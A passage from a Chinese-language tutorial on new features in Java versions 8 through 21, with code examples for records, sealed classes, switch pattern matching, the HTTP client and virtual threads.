ZonedDateTime.now(ZoneId.of("Asia/Shanghai")); ZonedDateTime newYorkTime = ZonedDateTime.now(ZoneId.of("America/New_York")); // 时区转换 ZonedDateTime beijingToNewYork = beijingTime.withZoneSameInstant(ZoneId.of("America/New_York")); // 获取所有可用时区 ZoneId.getAvailableZoneIds().stream() .filter(zoneId -> zoneId.contains("Shanghai")) .forEach(System.out::println); // 时间戳处理 Instant instant = Instant.now(); long epochSecond = instant.getEpochSecond(); ZonedDateTime fromInstant = instant.atZone(ZoneId.systemDefault()); ``` 总之,有了这套 API,我们不需要使用第三方的时间日期处理库,也能解决大多数问题。 ### 【必备】接口默认方法 Java 8 引入的接口默认方法解决了接口演化的问题。 在默认方法出现之前,如果你想给一个被广泛使用的接口添加新方法,就会影响所有已有的实现类。想象一下,如果要给 Collection 接口添加一个新方法,ArrayList、LinkedList 等所有的实现类都需要修改,成本很大。 默认方法让接口可以在 **不破坏现有代码的情况下添加新功能**。 举个例子,如果想要给接口增加一个 `drawWithBorder` 方法: ```java public interface Drawable { // 已有抽象方法 void draw(); // 默认方法 default void drawWithBorder() { System.out.println("绘制边框"); draw(); System.out.println("边框绘制完成"); } } ``` 使用默认方法后,实现类可以选择重写默认方法,也可以直接使用: ```java // 实现类可以选择重写默认方法 public class Circle implements Drawable { @Override public void draw() { System.out.println("绘制圆形"); } // 可以重写默认方法 @Override public void drawWithBorder() { System.out.println("绘制圆形边框"); draw(); } } ``` Java 8 为 Collection 接口添加了 stream、removeIf 等方法,都是默认方法:  需要注意的是,如果一个类实现多个接口,并且这些接口有相同的默认方法时,需要显式解决冲突: ```java interface A { default void hello() { System.out.println("Hello from A"); } } interface B { default void hello() { System.out.println("Hello from B"); } } // 实现类必须重写冲突的方法 class C implements A, B { @Override public void hello() { // 可以调用特定接口的默认方法 A.super.hello(); B.super.hello(); // 或者提供自己的实现 System.out.println("Hello from C"); } } ``` 类似的,Java 8 还支持接口的静态方法,前面讲函数式接口的时候有提到。 ## Java 9 ### 【了解】模块系统 在模块系统出现之前,传统 Java 应用只能依赖 classpath 来管理依赖,所有的类都在同一个类路径下,任何类都可以访问任何其他类,这种 “全局可见性” 在大型项目中会导致代码耦合严重、依赖关系混乱、运行时才发现 ClassNotFoundException 等问题。 模块系统允许我们将代码组织成模块,每个模块都有明确的依赖关系和导出接口,让大型应用的架构变得更加清晰和可维护。 模块系统通过 `module-info.java` 文件来定义模块的边界,明确声明哪些包对外开放,哪些依赖是必需的,这样就形成了强封装的架构。 比如一个用户管理模块只暴露用户服务接口,而内部的数据访问层对其他模块完全不可见,这种设计让系统的层次结构更加清晰,也避免了意外的跨层调用。 ```java module user.management { // 只导出 service 包,dao 包对外不可见 exports com.company.user.service; // 依赖其他模块 requires java.base; requires database.connection; } ``` 此外,模块系统还带来了更好的性能优化,JVM 可以在启动时只加载必需的模块,减少内存占用和启动时间(适合云原生应用)。 但是,模块系统在企业中用的比较少,目前大多数企业还是使用传统的 Maven/Gradle + JAR 包的方式管理依赖,改造项目的成本 > 模块系统带来的实际收益,所以仅作了解就好。 ### 【了解】JShell 交互工具 JShell 是 Java 9 引入的一个交互式工具,在这个工具出现之前,我们要测试一小段 Java 代码,必须创建完整的类和 main 方法,编译后才能运行。 有了 JShell,我们可以像使用 Python 解释器一样使用 Java,对于学习调试有点儿用(但不多)。 直接在命令行输入 `jshell` 就能使用了:  ### 【必备】集合工厂方法 Java 9 为集合类添加了便捷的工厂方法,能够轻松创建不可变集合。 在这之前,创建不可变集合还是比较麻烦的,很多开发者会选择依赖第三方库(比如 Google Guava)。 传统的不可变集合创建方式: ```java // Java 9 之前创建不可变集合的方式 List<String> oldList = new ArrayList<>(); oldList.add("苹果"); oldList.add("香蕉"); oldList.add("鱼皮"); List<String> immutableList = Collections.unmodifiableList(oldList); // 或者使用 Google Guava 等第三方库 List<String> guavaList = ImmutableList.of("苹果", "香蕉", "鱼皮"); ``` 有了 Java 9 的工厂方法,创建不可变集合简直不要太简单! ```java // Java 9 的简洁写法 List<String> fruits = List.of("苹果", "香蕉", "鱼皮"); Set<Integer> numbers = Set.of(1, 2, 3, 4, 5); Map<String, Integer> scores = Map.of( "张三", 85, "鱼皮", 92, "狗剩", 78 ); ``` 这些集合是真正不可变的,任何修改操作都会抛出 `UnsupportedOperationException` 异常。  如果想创建包含大量元素的不可变 Map,可以使用 ofEntries 方法: ```java Map<String, String> largeMap = Map.ofEntries( Map.entry("key1", "value1"), Map.entry("key2", "value2"), Map.entry("key3", "value3") // ... 可以有任意多个 ); ``` ### 【了解】接口私有方法 思考一个问题,如果某个接口中的默认方法需要复用代码,你会怎么做呢? 比如让你来优化下面这段代码: ```java public interface Calculator { default double calculateRectangleArea(double width, double height) { // 重复的验证逻辑 if (width <= 0 || height <= 0) { throw new IllegalArgumentException("宽度和高度必须为正数"); } return width * height; } default double calculateTriangleArea(double base, double height) { // 重复的验证逻辑 if (base <= 0 || height <= 0) { throw new IllegalArgumentException("底边和高度必须为正数"); } return base * height / 2; } } ``` 你会把重复的验证逻辑写在哪里呢? 答案很简单,写在一个外部工具类里,或者在接口内再写一个通用的验证方法: ```java public interface Calculator { // 通用的验证方法 default void validate(double x, double y) { if (x <= 0 || y <= 0) { throw new IllegalArgumentException("必须为正数"); } } } ``` 但这种方式存在一个问题,validate 作为 default 方法,它会成为接口的公共 API,所有实现类都能访问到!其实这个方法只需要在接口内可以使用就够了。 Java 9 解决了这个问题,允许在接口中定义私有方法(以及私有静态方法)。 ```java public interface Calculator { // 私有方法 private void validate(double x, double y) { if (x <= 0 || y <= 0) { throw new IllegalArgumentException("必须为正数"); } } // 私有静态方法 private static void validatePositive(double x, double y) { if (x <= 0 || y <= 0) { throw new IllegalArgumentException("必须为正数"); } } } ``` 这样一来,接口内部可以优雅地复用代码,同时保持接口对外的简洁性。 💡 这里也能看出 Java 的演进很谨慎,先允许 default 方法(Java 8),再允许 private 方法(Java 9),每一步都有明确的设计考量。 ### 【了解】改进的 try-with-resources Java 9 改进了 try-with-resources 语句,在这之前,我们不能在 try 子句中使用外部定义的变量,必须在 try 括号内重新声明,会让代码变得冗余。 ```java // Java 9 之前 public void readFile(String filename) throws IOException { BufferedReader reader = Files.newBufferedReader(Paths.get(filename)); try (BufferedReader br = reader) { // 需要重新赋值 br.lines().forEach(System.out::println); } } ``` Java 9 的改进让代码更加简洁: ```java // Java 9 public void readFile(String filename) throws IOException { BufferedReader reader = Files.newBufferedReader(Paths.get(filename)); try (reader) { // 直接使用 effectively final 变量 reader.lines().forEach(System.out::println); } } ``` 而且还可以同时使用多个变量: ```java public void processFiles(String file1, String file2) throws IOException { var reader1 = Files.newBufferedReader(Paths.get(file1)); var reader2 = Files.newBufferedReader(Paths.get(file2)); try (reader1; reader2) { // 可以使用多个变量 String line1 = reader1.readLine(); String line2 = reader2.readLine(); while (line1 != null && line2 != null) { System.out.println(line1 + " | " + line2); line1 = reader1.readLine(); line2 = reader2.readLine(); } } } ``` ## Java 10 ### 【实用】var 关键字 用过弱类型编程语言的朋友应该知道,不用自己声明变量的类型有多爽。 但是对于 Java 这种强类型语言,我们经常要写下面这种代码,一个变量类型写老长(特别是在泛型场景下): ```java Map<String, List<Integer>> complexMap = new HashMap<String, List<Integer>>(); ArrayList<String> list = new ArrayList<String>(); Iterator<Map.Entry<String, List<Integer>>> iterator = complexMap.entrySet().iterator(); ``` 好在 Java 10 引入了 `var` 关键字,支持局部变量的类型推断,编译器会根据初始化表达式自动推断变量的类型,让代码可以变得更简洁。 ```java var complexMap = new HashMap<String, List<Integer>>(); var list = new ArrayList<String>(); var iterator = complexMap.entrySet().iterator(); // 使用 var 的 for-each 循环 for (var entry : complexMap.entrySet()) { var key = entry.getKey(); var value = entry.getValue(); // 处理逻辑 } ``` 但是,var 关键字是一把双刃剑,不是所有程序员都喜欢它。毕竟代码中都是 `var`,丢失了一定的可读性,尤其是下面这种代码,你不能直观地了解变量的类型: ```java var data = getData(); ``` 而且使用 `var` 时,还要确保编译器能正确推断类型,下面这几种写法都是错误的:  所以我个人其实是没那么喜欢用这个关键字的,纯个人偏好。 ### 【了解】应用程序类数据共享 Java 10 扩展了类数据共享功能,允许应用程序类也参与共享(Application Class-Data Sharing)。在此之前,只有 JDK 核心类可以进行类数据共享,应用程序类每次启动都需要重新加载和解析。 类数据共享的核心思路是:将 JDK 核心类和应用程序类的元数据都打包到共享归档文件中,多个 JVM 实例同时映射同一个归档文件,通过 **共享读取** 优化应用启动时间和减少内存占用。  ## ⭐️ Java 11 Java 11 是继 Java 8 之后的第二个 LTS 版本,这个版本的重点是提供更好的开发体验和更强大的标准库功能,特别是在字符串处理、文件操作和 HTTP 客户端方面,增加了不少新方法。 ### 【实用】HTTP 客户端 API HTTP 请求是后端开发常用的能力,之前我们只能基于内置的 HttpURLConnection 自己封装,或者使用 Apache HttpClient、OkHttp 第三方库。 还记得我第一次去公司实习的时候,就看到代码仓库内有很多老员工自己封装的 HTTP 请求代码,写法各异。。。 ```java // 传统的 HttpURLConnection 使用方式 URL url = new URL("https://codefather.cn"); HttpURLConnection connection = (HttpURLConnection) url.openConnection(); connection.setRequestMethod("GET"); connection.setRequestProperty("Accept", "application/json"); int responseCode = connection.getResponseCode(); BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream())); // 更多繁琐的代码... ``` Java 11 将 HTTP 客户端 API 正式化,新的 HTTP 客户端提供了现代化的、支持 HTTP/2 和 WebSocket 的客户端实现,让网络编程变得简单。 ```java // 创建 HTTP 客户端 HttpClient client = HttpClient.newBuilder() .connectTimeout(Duration.ofSeconds(10)) .followRedirects(HttpClient.Redirect.NORMAL) .build(); // 构建 GET 请求 HttpRequest getRequest = HttpRequest.newBuilder() .uri(URI.create("https://codefather.cn")) .header("Accept", "application/json") .header("User-Agent", "Java-HttpClient") .timeout(Duration.ofSeconds(30)) .GET() .build(); // POST 请求 HttpRequest postRequest = HttpRequest.newBuilder() .uri(URI.create("https://api.example.com/users")) .header("Content-Type", "application/json") .POST(HttpRequest.BodyPublishers.ofString(jsonData)) .build(); ``` 支持发送同步和异步请求,能够轻松获取响应结果: ```java // 同步发送请求 HttpResponse<String> response = client.send(getRequest, HttpResponse.BodyHandlers.ofString()); System.out.println("状态码: " + response.statusCode()); System.out.println("响应头: " + response.headers().map()); System.out.println("响应体: " + response.body()); // 异步发送请求 client.sendAsync(getRequest, HttpResponse.BodyHandlers.ofString()) .thenApply(HttpResponse::body) .thenAccept(System.out::println); ``` 还支持自定义响应处理和 WebSocket 请求: ```java // 自定义响应处理 HttpResponse<String> customResponse = client.send(getRequest, responseInfo -> { if (responseInfo.statusCode() == 200) { return HttpResponse.BodySubscribers.ofString(StandardCharsets.UTF_8); } else { return HttpResponse.BodySubscribers.discarding(); } }); // WebSocket 支持 WebSocket webSocket = HttpClient.newHttpClient() .newWebSocketBuilder() .buildAsync(URI.create("ws://localhost:8080/websocket"), new WebSocket.Listener() { @Override public void onOpen(WebSocket webSocket) { System.out.println("WebSocket 连接已打开"); webSocket.sendText("Hello WebSocket!", true); } @Override public CompletionStage<?> onText(WebSocket webSocket, CharSequence data, boolean last) { System.out.println("收到消息: " + data); return null; } }) .join(); ``` 上面这些代码都不用记,现在直接把接口文档甩给 AI,让它来帮你生成请求代码就好。 ### 【实用】String 类的新方法 Java 11 为 String 类添加了许多实用的方法,让字符串处理变得更加方便。 我估计很多现在学 Java 的同学都已经区分不出来哪些是新增的方法、哪些是老方法了,反正能用就行~ 1)基本的字符串检查和处理: ```java String text = " Hello World \n\n"; String emptyText = " "; String multiLine = "第一行\n第二行\n第三行"; // isBlank() 检查字符串是否为空或只包含空白字符 System.out.println(emptyText.isBlank()); // true System.out.println("hello".isBlank()); // false System.out.println("".isBlank()); // true ``` 2)strip() 系列方法 相比传统的 trim() 更加强大,能够处理 Unicode 空白字符: ```java // strip() 系列方法,去除空白字符 System.out.println("'" + text.strip() + "'"); // 'Hello World' System.out.println("'" + text.stripLeading() + "'"); // 'Hello World \n\n' System.out.println("'" + text.stripTrailing() + "'"); // ' Hello World' ``` 3)lines() 方法,让多行字符串处理更简单: ```java // 将字符串按行分割成 Stream multiLine.lines() .map(line -> "处理: " + line) .forEach(System.out::println); long lineCount = multiLine.lines().count(); System.out.println("总行数: " + lineCount); ``` 4)repeat() 方法,可以重复字符串: ```java System.out.println("Java ".repeat(3)); // "Java Java Java " System.out.println("=".repeat(50)); // 50个等号 System.out.println("*".repeat(0)); // 空字符串 ``` 即便如此,我还是更喜欢使用 Hutool 或者 Apache Commons 提供的字符串工具类。 💡 提到字符串处理,鱼皮建议大家安装 StringManipulation 插件,便于我们开发时对字符串进行各种转换(比如小写转为驼峰):  ### 【实用】Files 类的新方法 Java 11 为文件操作新增了更便捷的方法,不需要使用 FileReader / FileWriter 这种复杂的操作了。 基本的文件读写操作,一个方法搞定: ```java // 写入文件 String content = "这是一个测试文件\n包含多行内容\n中文支持测试"; Path tempFile = Files.writeString( Paths.get("temp.txt"), content, StandardCharsets.UTF_8 ); // 读取文件 String readContent = Files.readString(tempFile, StandardCharsets.UTF_8); System.out.println("读取的内容:\n" + readContent); ``` 支持流式读取文件,适合文件较大的场景: ```java try (Stream<String> lines = Files.lines(tempFile)) { lines.filter(line -> !line.isBlank()) .map(String::trim) .forEach(System.out::println); } ``` ### 【了解】Optional 的新方法 Java 11 为 Optional 类添加了 `isEmpty()` 方法,和之前的 `isPresent` 正好相反,让空值检查更直观。  ## Java 12 ~ 13 Java 12 和 13 主要引入了一些预览特性,其中最重要的是 Switch 表达式和文本块,这些特性在后续版本中得到了完善和正式化。 ## Java 14 Java 14 将 Switch 表达式正式化,并引入了 Records、instanceof 模式匹配作为预览特性。 ### 【必备】Switch 表达式 Java 14 将 Switch 表达式转正了,让条件判断变得更简洁和安全。 在这之前,传统的 switch 语句存在不少问题,比如需要手动添加 break 防止穿透、赋值不方便等: ```java String dayType; switch (day) { case MONDAY: case TUESDAY: case WEDNESDAY: case THURSDAY: case FRIDAY: dayType = "工作日"; break; case SATURDAY: case SUNDAY: dayType = "周末"; break; default: dayType = "未知"; break; } // 赋值不方便 int score; switch (grade) { case 'A': System.out.println("优秀!"); score = 90; break; case 'B': score = 80; break; default: score = 0; } ``` 在 Java 14 之后,可以直接这么写: ```java // Java 14 的简洁写法 String dayType = switch (day) { case MONDAY, TUESDAY, WEDNESDAY, THURSDAY, FRIDAY -> "工作日"; case SATURDAY, SUNDAY -> "周末"; default -> "未知"; }; // 支持复杂逻辑的 yield 关键字 int score = switch (grade) { case 'A' -> { System.out.println("优秀!"); yield 90; // 使用 yield 返回值 } case 'B' -> 80; default -> 0; }; ``` 上述代码中,我们使用了 Switch 表达式增强的几个特性: - 箭头语法:使用 `->` 替代冒号,自动防止 fall-through(不用写 break 了) - 多标签支持:`case A, B, C ->` 一行处理多个条件 - 表达式求值:可以直接使用 yield 关键字返回值并赋给变量 这样一来,多条件判断变得更优雅了!还能避免忘记 break 导致的逻辑错误。 ```java // 实际应用示例:根据月份判断季节 String season = switch (month) { case 12, 1, 2 -> "冬季"; case 3, 4, 5 -> "春季"; case 6, 7, 8 -> "夏季"; case 9, 10, 11 -> "秋季"; default -> throw new IllegalArgumentException("无效月份: " + month); }; ``` ### 【了解】有用的空指针异常 Java 14 改进了 NullPointerException 的错误信息。JVM 会提供更详细的堆栈跟踪信息,指出导致异常的具体位置和原因,让调试变得更加容易。  ## Java 15 Java 15 将文本块正式化,新增了 Hidden 隐藏类,并引入了 Sealed 类作为预览特性。 ### 【必备】文本块 这可能是我最喜欢的特性之一了,因为之前每次复制多行文本到代码中,都会给我转成这么一坨:  需要大量的字符串拼接、转义字符,对于 HTML、SQL 和 JSON 格式来说简直是噩梦了。 有了 Java 15 的文本块特性,多行字符串简直不要太爽!直接用三个引号 `"""` 括起来,就能以字符串本来的格式展示。  文本块会保持代码的缩进、而且内部的引号不需要转义。 配合 String 的格式化方法,就能轻松传入参数生成复杂的字符串模板:  ### 【了解】Hidden 隐藏类 Java 15 引入了 Hidden 隐藏类特性,这是一个 **专为框架和运行时环境设计** 的底层机制,主要是为了优化 **动态生成短期类**(比如 Lambda 表达式、动态代理)的性能问题,普通开发者无需关心。 在 Lambda 表达式、AOP 动态代理、ORM 映射等场景中,框架会动态生成代码载体(比如方法句柄、临时代理类),这些载体需要关联类的元数据才能运行。如果生成频繁,传统类的元数据会被类加载器追踪,需要等待类加载器卸载才能回收,导致元空间堆积和 GC 压力。 Hidden 类的特点是对其定义类加载器之外的所有代码都不可见,由于不可发现且链接微弱,JVM 垃圾回收器能够更高效地卸载隐藏类及其元数据,从而防止短期类堆积对元空间造成压力,优化了需要动态生成大量类的性能。 ## Java 16 Java 16 正式发布了 Records 和 instanceof 模式匹配这 2 大特性,让代码更简洁易读。 ### 【必备】Records 以前,我们如果想创建一个 POJO 对象来存一些数据,需要编写大量的样板代码,包括构造函数、getter 方法、equals、hashCode 等等,比较麻烦。 ```java // Java 16 之前创建数据类的方式 public class Person { private final String name; private final int age; private final String email; public Person(String name, int age, String email) { this.name = name; this.age = age; this.email = email; } public String getName() { return name; } public int getAge() { return age; } public String getEmail() { return email; } @Override public boolean equals(Object obj) { if (this == obj) return true; if (obj == null || getClass() != obj.getClass()) return false; Person person = (Person) obj; return age == person.age && Objects.equals(name, person.name) && Objects.equals(email, person.email); } @Override public int hashCode() { return Objects.hash(name, age, email); } } ``` 即使通过 Lombok 插件简化了代码,估计也要十几行。 有了 Java 16 的 Records,创建数据包装类简直不要太简单,一行代码搞定: ```java public record Person(String name, int age, String email) {} ``` Records 自动提供了所有必需的方法,使用方式完全一样! ```java Person person = new Person("鱼皮", 25, "yupi@yuyuanweb.com"); System.out.println(person.name()); // 自动生成的访问器 System.out.println(person.age()); System.out.println(person.email()); System.out.println(person.toString()); // 自动生成的 toString ``` 此外,Records 还支持自定义方法和验证逻辑,只不过个人建议这种情况下不如老老实实用 “类” 了。 ```java public record BankAccount(String accountNumber, double balance) { // 构造函数中添加验证 public BankAccount { if (balance < 0) { throw new IllegalArgumentException("余额不能为负数"); } if (accountNumber == null || accountNumber.isBlank()) { throw new IllegalArgumentException("账号不能为空"); } } // 自定义方法 public boolean isVIP() { return balance > 100000; } // 静态工厂方法 public static BankAccount createSavingsAccount(String accountNumber) { return new BankAccount(accountNumber, 0.0); } } ``` ### 【了解】instanceof 模式匹配 Java 16 正式推出了 instanceof 的模式匹配,让类型检查和转换变得更优雅。 传统的 instanceof 使用方式,需要显示转换对象类型: ```java Object obj = xxx; if (obj instanceof String) { String str = (String) obj; // 需要显式转换 return "字符串长度: " + str.length(); } ``` 有了 instanceof 模式匹配,可以直接在匹配类型时声明变量: ```java if (obj instanceof String str) { return "字符串长度: " + str.length(); } ``` 但是要注意,str 变量的作用域被限定在 if 条件为 true 的代码块中,符合最小作用域原则。 ### 【了解】Stream 新增方法 Java 16 为 Stream API 添加了 `toList()` 方法,可以用更简洁的代码将流转换为不可变列表。 ```java // 传统写法 List<String> result = stream .filter(s -> s.length() > 3) .collect(Collectors.toList()); // Java 16 简化写法 List<String> result = stream .filter(s -> s.length() > 3) .toList(); // 返回不可变 List ``` 还提供了 `mapMulti()` 方法,跟 flatMap 的作用一样,将一个元素映射为 0 个或多个元素,但是某些场景下比 flatMap 更灵活高效。 当需要从一个元素生成多个元素时,flatMap 需要先创建一个中间 Stream,而 `mapMulti()` 可以通过传入的 Consumer 直接 “推送” 多个元素,避免了中间集合或 Stream 的创建开销。 ```java // flatMap 传统方式 List<String> words = List.of("hello", "world", "java"); List<Character> chars = words.stream() .flatMap(word -> word.chars() .mapToObj(c -> (char) c)) .toList(); // Java 16 的 mapMulti 方式 List<Character> chars = words.stream() .<Character>mapMulti((word, consumer) -> { for (char c : word.toCharArray()) { consumer.accept(c); // 直接向下游推送元素 } }) .toList(); ``` ## ⭐️ Java 17 Java 17 是目前 Java 最主流的 LTS 版本,比例已经超越了 Java 8!现在很多新的 Java 开发框架和类库支持的最低 JDK 版本就是 17(比如 AI 开发框架 LangChain4j)。  ### 【实用】Sealed 密封类 在很多 Java 开发者的印象中,一个类要么完全开放继承(任何类都能继承),要么完全禁止继承(final 类)。 ```java // 选择1:完全开放继承 public class Shape { // 问题:不知道会有哪些子类,难以进行穷举 } // 选择2:完全禁止继承 public final class Circle { // 问题:即使在同一个模块内也无法继承 } ``` 其实这样是没办法精确控制继承关系的,在设计 API 或领域模型时可能会遇到问题。 Java 17 将 Sealed 密封类转正,让类的继承关系变得更可控和安全。 比如我可以只允许某几个类继承: ```java public sealed class Shape permits Circle, Rectangle, Triangle { // 只允许这三个类继承 } ``` 但是,被允许继承的子类必须选择一种继承策略: 1)final:到我为止,不能再继承了 ```java public final class Circle extends Shape { } ``` 2)sealed:我也要控制谁能继承我 ```java public sealed class Triangle extends Shape permits RightTriangle { } ``` 3)non-sealed:我开放继承,任何人都可以继承我 ```java public non-sealed class Rectangle extends Shape { } ``` 强制声明继承策略是为了 **确保设计控制权的完整传递**。如果不强制声明,sealed 类精确控制继承的价值就会被破坏,任何人都可以通过继承子类来绕过原始设计的限制。 注意,虽然看起来 non-sealed 打破了这个设计,但这也是设计者的主动选择。如果不需要强制声明,设计者可能会无意中失去控制权。 有了 Sealed 类后,某个接口可能的实现类型就尽在掌握了,可以让 switch 模式匹配变得更加安全: ```java // 编译器知道所有可能的子类型,可以进行完整性检查 public double calculateArea(Shape shape) { return switch (shape) { case Circle c -> Math.PI * c.getRadius() * c.getRadius(); case Rectangle r -> r.getWidth() * r.getHeight(); case Triangle t -> 0.5 * t.getBase() * t.getHeight(); // 编译器确保我们处理了所有情况,无需 default 分支 }; } ``` ### 【了解】新的随机数生成器 Java 17 引入了全新的随机数生成器 API,提供了更优的性能和更多的算法选择: ```java // 传统的随机数 Random oldRandom = new Random(); int oldValue = oldRandom.nextInt(100); // 新的随机数生成器 RandomGenerator generator = RandomGenerator.of("L32X64MixRandom"); int newValue = generator.nextInt(100); ``` ### 【了解】强封装 JDK 内部 API Java 17 进一步强化了对 JDK 内部 API 的封装,一些之前可以通过反射访问的内部类现在完全不可访问,比如: - `sun.misc.Unsafe` - `com.sun.*` 包下的类 - `jdk.internal.*` 包下的类 虽然这提高了 JDK 的安全性和稳定性,但可能需要迁移一些依赖内部 API 的老代码。 ## Java 18 个人感觉 Java 18 提供的功能都没什么用,简单了解一下就好。 ### 【了解】简单 Web 服务器 Java 18 引入了一个简单的 Web 服务器,主要用于开发和测试。 ```bash # 启动简单的文件服务器,服务当前目录 jwebserver # 指定端口和目录 jwebserver -p 8080 -d /path/to/your/files # 绑定到特定地址 jwebserver -b 127.0.0.1 -p 9000 ``` Nginx 不香么,我要用这个东西? ### 【了解】UTF-8 作为默认字符集 Java 18 将 UTF-8 设为默认字符集,解决了很多字符编码相关的问题,Java 程序在不同平台上的行为会更加一致。 ```java // 这些操作现在默认使用 UTF-8 编码 FileReader reader = new FileReader("file.txt"); FileWriter writer = new FileWriter("file.txt"); PrintStream out = new PrintStream("output.txt"); ``` 在这之前,Java 使用的是 **系统默认字符集**,会导致同一段代码在不同操作系统上可能产生完全不同的结果。 ### 【了解】JavaDoc 代码片段 Java 18 引入了 `@snippet` 标签,可以让 JavaDoc 生成的代码示例更美观,而且支持从外部文件引入代码片段。 ```java /** * 计算两个数的最大公约数 * * {@snippet : * int a = 48; * int b = 18; * int gcd = MathUtils.gcd(a, b); * System.out.println("GCD: " + gcd); // @highlight substring="GCD" * } * * @param a 第一个数 * @param b 第二个数 * @return 最大公约数 */ public static int gcd(int a, int b) { // 实现代码... } /** * 从外部文件引入代码片段 * * {@snippet file="examples/QuickSort.java" region="main-algorithm"} * * @param arr 要排序的数组 */ public static void quickSort(int[] arr) { // 实现代码... } ``` 不过这年头还有开发者阅读 JavaDoc 么?  ## Java 19 ~ 20 Java 19 和 20 主要是为一些重大特性做准备,包括虚拟线程、Record 模式、Switch 模式匹配等。 ## Java 21 Java 21 是鱼皮做新项目时使用的首选 LTS 版本。这个版本发布了很多重要特性,其中最重要的是 Virtual Threads 虚拟线程。 ### 【必备】Virtual Threads 虚拟线程 这是 Java 并发编程的革命性突破,也是很多 Java 开发者选择 21 的理由。 什么是虚拟线程呢? 想象一下,你是一家餐厅的老板。传统的线程就像是餐厅的服务员,假设每个服务员同时只能服务一桌客人。如果有 1000 桌客人,你就需要 1000 个服务员,但这显然不现实。餐厅地方不够,也负担不起那么多员工的工钱。 在传统的 Java 线程模型中也是如此。如果每个线程都对应操作系统的一个真实线程,创建成本很高、内存占用也大。当需要处理大量并发请求时,系统可能很快就会被拖垮。 举个例子,假设开 1000 个线程同时处理网络请求: ```java public void handleRequests() { for (int i = 0; i < 1000; i++) { new Thread(() -> { // 发送网络请求,需要等待响应 String result = httpClient.get("https://codefather.cn"); System.out.println("收到响应: " + result); }).start(); } } ``` 创建 1000 个线程会消耗大量系统资源(因为对应 1000 个操作系统线程),而且大部分时间线程都在等待网络响应,很浪费。 而虚拟线程就像是给餐厅引入了一个智能调度系统。服务员不再需要傻傻地等在客人桌边等菜上桌,而是可以在等待的时候去服务其他客人。当某桌的菜准备好了,系统会自动安排一个空闲的服务员去处理。 我们可以开一个虚拟线程执行器执行同样的一批任务,这里我用的执行器会为每个任务生成一个虚拟线程来处理: ```java public void handleRequestsWithVirtualThreads() { try (var executor = Executors.newVirtualThreadPerTaskExecutor()) { for (int i = 0; i < 1000; i++) { executor.submit(() -> { // 同样的网络请求代码 String result = httpClient.get("https://codefather.cn"); System.out.println("收到响应: " + result); }); } } } ``` 同样是 1000 个,但是 1000 个虚拟线程只需要很少的系统资源(比如映射到 8 个操作系统线程上);而且当虚拟线程等待网络响应时,会让出底层的操作系统线程,操作系统线程就会自动切换去执行其他虚拟线程和任务。  总结一下 Virtual Threads 的核心优势。首先是 **超级轻量**。一个传统线程可能需要几 MB 的内存,而一个虚拟线程只需要几 KB。你可以轻松创建百万级别的虚拟线程而不用担心系统资源。 其次是 **编程简单**。你不需要学习复杂的异步编程模式,跟创建一个普通线程的代码类似,一行代码就能提交异步任务。当遇到阻塞的 I/O 操作时,虚拟线程会自动让出底层的操作系统线程。 ```java // 直接创建虚拟线程 public void handleSingleUser(Long userId) { Thread.ofVirtual().start(() -> { // 要异步执行的任务 User user = userService.findById(userId); processUser(user); }); } ``` 相关面试题:[什么是协程?Java 支持协程吗?](https://www.mianshiya.com/question/1780933294863446018) ### 【必备】Switch 模式匹配 Java 14 版本推出了 Switch 表达式,能够一行处理多个条件;Java 21 版本进一步优化了 Switch 的能力,新增了模式匹配特性,能够更轻松地根据对象的类型做不同的处理。 没有 Switch 模式匹配时,我们需要利用 instanceof 匹配类型: ```java public String processMessage(Object message) { if (message instanceof String) { String textMessage = (String) message; return "文本消息:" + textMessage; } else if (message instanceof Integer) { Integer numberMessage = (Integer) message; return "数字消息:" + numberMessage; } else if (message instanceof List) { List<?> listMessage = (List<?>) message; return "列表消息,包含 " + listMessage.size() + " 个元素"; } else { return "未知消息类型"; } } ``` 有了模式匹配,这段代码可以变得很优雅,直接在匹配对象类型的同时声明了变量(跟 instanceof 模式匹配有点像): ```java public String processMessage(Object message) { return switch (message) { case String text -> "文本消息:" + text; case Integer number -> "数字消息:" + number; case List<?> list -> "列表消息,包含 " + list.size() + " 个元素"; case null -> "空消息"; default -> "未知消息类型"; }; } ``` 此外,模式匹配还支持 **条件判断**,让处理逻辑更加精细,相当于在 `case ... when ...` 中写 if 条件表达式(感觉有点像 SQL 的语法)。 ```java // 根据字符串长度采用不同处理策略 public String processText(String text) { return switch (text) { case String s when s.length() < 10 -> "短文本:" + s; case String s when s.length() < 100 -> "中等文本:" + s.substring(0, 5); case String s -> "长文本:" + s.substring(0, 10); }; } ``` ### 【实用】Record 模式 Record 模式让数据的解构变得更简单直观,可以一次性取出 record 中所有需要的信息。 举个例子,先定义一些简单的 Record: ```java public record Person(String name, int age) {} public record Address(String city, String street) {} public record Employee(Person person, Address address, double salary) {} ``` 使用 Record 模式可以直接解构这些数据,不用一层一层取了: ```java public String analyzeEmployee(Employee emp) { return switch (emp) { // 一次性提取所有需要的信息 case Employee(Person(var name, var age), Address(var city, var street), var salary) when salary > 50000 -> String.format("%s(%d岁)是高薪员工,住在%s%s,月薪%.0f", name, age, city, street, salary); case Employee(Person(var name, var age), var address, var salary) -> String.format("%s(%d岁)月薪%.0f,住在%s", name, age, salary, address.city()); }; } ``` 这种写法适合追求极致简洁代码的程序员,可以在一行代码中同时完成 **类型检查**、**数据提取** 和 **条件判断**。 ### 【了解】有序集合 Java 21 的有序集合为我们提供了更直观的方式来操作集合的头尾元素,说白了就是补了几个方法: ```java List<String> tasks = new ArrayList<>(); tasks.addFirst("鱼皮的任务"); // 添加到开头 tasks.addLast("小阿巴的任务"); // 添加到结尾 String firstStr = tasks.getFirst(); // 获取第一个 String lastStr = tasks.getLast(); // 获取最后一个 String removedFirst = tasks.removeFirst(); // 删除并返回第一个 String removedLast = tasks.removeLast(); // 删除并返回最后一个 List<String> reversed = tasks.reversed(); // 反转列表 ``` 除了 List 之外,SequencedMap 接口(比如 LinkedHashMap)和 SequencedSet 接口(比如 LinkedHashSet)也新增了类似的方法。本质上都是实现了有序集合接口:  ### 【了解】分代 ZGC Java 21 中的分代 ZGC 可以说是垃圾收集器领域的一个重大突破。ZGC 从 Java 11 开始就以其超低延迟而闻名,但是它并没有采用分代的设计思路。 在这之前,ZGC 对所有对象一视同仁,无论是刚创建的新对象还是存活了很久的老对象,都使用同样的收集策略。这虽然保证了一致的低延迟,但在内存分配密集的应用中,效率并不是最优的。 分代 ZGC 的核心思想是基于一个现象 —— 大部分对象都是 “朝生夕死” 